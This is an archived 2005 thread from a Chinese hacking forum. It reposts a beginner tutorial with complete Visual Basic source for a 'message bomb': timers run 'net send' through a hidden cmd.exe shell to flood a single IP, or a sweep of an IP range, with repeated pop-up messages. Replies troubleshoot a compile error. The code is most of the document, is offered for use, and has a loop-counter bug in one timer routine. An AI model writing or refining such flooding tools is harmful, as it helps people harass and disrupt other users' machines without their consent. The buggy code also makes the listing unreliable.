邪恶八进制信息安全团队技术讨论组's Archiver

流浪狼 2005-12-17 15:25

[转载]用VB编写菜鸟版消息炸弹

文章作者:佚名
信息来源:[url]www.hack58.com[/url]

让我来说说我写的主题,主要就是编写一个菜鸟级的消息炸弹。各位像我一样的菜鸟别晕,一听到写程序就头晕!这个程序很简单,因此,菜鸟兄弟们,一定要挺住!我以前一看程序也晕,后来挺住了!只要挺住,就算是成功了一半了!大家对使用2K、XP下的net send命令都一定很熟悉吧!比如:“net send 127.0.0.1 "hello!各位!"”这样就在本机出现了一个对话框,上面显示着“hello!各位!”字样。这样我就不多说了,还是继续说主要的!我的这个消息炸弹就是调用net send命令,来达到发送消息的效果,然后配合使用timer控件来达到循环发送消息的效果造成形成消息炸弹的目的!这个程序的功能大致分为:向单一IP地址循环发送单一的消息,向单一IP地址循环发送多条消息,向一个IP段循环发送单一的消息。原理和功能大家知道了,就来看看它使用的控件,与源代码吧!

这个程序使用11个textbox控件,4个option控件,1个combo控件,3个timer控件,3个frame控件、5个label控件和2个command控件!
由于net是一个外部命令(net是以文件的形式在硬盘上保存的,所以叫外部命令),它存放在系统目录下,因此还要调用一个API函数来找到系统目录,这个API函数是:GetSystemDirectory。好了,所使用的控件和API函数都已经介绍了,下面就看源代码的编写了,我在适当的地方加了少量的注释,希望和我一样的菜鸟能够明白!



Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long



Dim ip As String '用来保存IP地址

Dim i As Integer

Dim sysdir As String '保存系统目录



Private Sub Command1_Click()

If Option1.Value = True Then

If Text1.Text = "" Or Text2.Text = "" Or Text3.Text = "" Or Text4.Text = "" Then

MsgBox "输入的数据不完整", vbCritical, "错误"

Exit Sub

End If

ip = Text1.Text & "." & Text2.Text & "." & Text3.Text & "." & Text4.Text

If Option3.Value = True Then

Timer1.Interval = Val(Text11.Text)

Timer1.Enabled = True

End If

If Option4.Value = True Then

Timer2.Interval = Val(Text11.Text)

Timer2.Enabled = True

End If

End If

If Option2.Value = True Then

If Text5.Text = "" Or Text6.Text = "" Or Text7.Text = "" Or Text8.Text = "" Or Text9.Text = "" Then

MsgBox "输入的数据不完整", vbCritical, "错误"

Exit Sub

End If

If Val(Text8.Text) > Val(Text9.Text) Then

MsgBox "起始IP不能大于终止IP", vbCritical, "错误"

Text8.Text = ""

Text9.Text = ""

Exit Sub

End If

Timer3.Interval = Val(Text11.Text)

Timer3.Enabled = True

i = Val(Text8.Text)

End If

Command1.Enabled = False

Command2.Enabled = True

End Sub



Private Sub Command2_Click()

Timer1.Enabled = False

Timer2.Enabled = False

Timer3.Enabled = False

Command1.Enabled = True

Command2.Enabled = False

End Sub



Private Sub Form_Load()

Dim strpath As String

Dim a As String



Command2.Enabled = False

Frame3.Enabled = False

Combo1.Enabled = False

Timer1.Enabled = False

Timer2.Enabled = False

Timer3.Enabled = False



sysdir = Space(256)

GetSystemDirectory sysdir, 256

sysdir = Trim(sysdir)

sysdir = Left(sysdir, Len(sysdir) - 1) '去掉space(256)时多余的空格



strpath = IIf(Right(App.Path, 1) = "\", App.Path, App.Path & "\") '获得当前的目录



'由于要对一个IP地址发送不同的话,因此需要一个messages.txt的文本来保存要发送的消息

If Dir(strpath & "messages.txt") = "" Then

MsgBox "没有找到messages.txt文件,请建立messages.txt后再使用", , "messages文件未找到"

Unload Me

Exit Sub

End If

'把messages.txt中的文本逐行保存放置到combo1中

Open strpath & "messages.txt" For Input As #1

While Not EOF(1)

Line Input #1, a

Combo1.AddItem a

Wend

Close #1



Combo1.Text = Combo1.List(0)

End Sub



Private Sub Option1_Click()

Frame3.Enabled = False

Frame2.Enabled = True

Option3.Enabled = True

Option4.Enabled = True

End Sub



Private Sub Option2_Click()

Frame2.Enabled = False

Frame3.Enabled = True

Combo1.Enabled = False

Option3.Enabled = False

Option4.Enabled = False

End Sub



Private Sub Option3_Click()

Combo1.Enabled = False

Text10.Enabled = True

End Sub



Private Sub Option4_Click()

Text10.Enabled = False

Combo1.Enabled = True

End Sub



Private Sub Timer1_Timer()

'向单一IP地址发送单一的消息

Shell sysdir & "\cmd.exe /c net send " & " " & ip & " " & Text10.Text, vbHide

End Sub



Private Sub Timer2_Timer()

'向单一IP地址发送多条不同的消息

Static j As Integer

Shell sysdir & "\cmd.exe /c net send" & " " & ip & " " & Combo1.List(j), vbHide

j = i + 1

If j = (Combo1.ListCount - 1) Then '循环使用combo控件的消息

j = 0

End If

End Sub



Private Sub Timer3_Timer()

'向IP段发送单一的消息

Label5.Caption = "正在向" & i & "发送"

ip = Text5.Text & "." & Text6.Text & "." & Text7.Text & "." & Str(i)

Shell sysdir & "\cmd.exe /c net send" & " " & ip & " " & Text10.Text, vbHide

i = i + 1

If i > Val(Text9.Text) Then

i = Val(Text8.Text)

End If

End Sub



好了,这就是所有的源代码了。很简单吧!这个程序只能使用在2K、XP等操作系统下,并不支持9x的系统。但是这个软件并没有判断操作系统是否是2k、xp等支持net send的操作系统。因为现在使用9x系统的人已经很少了。如果想对操作系统做判断的朋友可以使用GetVersionEx来获取操作系统的版本进行判断,这里我就不多说了!我也是一个菜鸟,希望得到别人的帮助和支持。希望大家可以交流,QQ:40941323。

lovewaz 2006-2-4 17:07

我按照你说的编写在 调试的时候总是出现"编译错误过程名称与同一事件或过程的描述不匹配."

jacky 2006-6-13 23:32

[quote][b]这里是引用第[/b][color=#ff0000][1 楼][/color][b]的[color=#000066]lovewaz[/color]于[/b]2006-02-04 17:07[b]发表的:[/b]
我按照你说的编写在 调试的时候总是出现"编译错误过程名称与同一事件或过程的描述不匹配."[/quote]
估计是控件名称与代码里不匹配,呵呵,不要完全copy,同时要足够细心 [s:46]

页: [1]
© 1999-2008 EvilOctal Security Team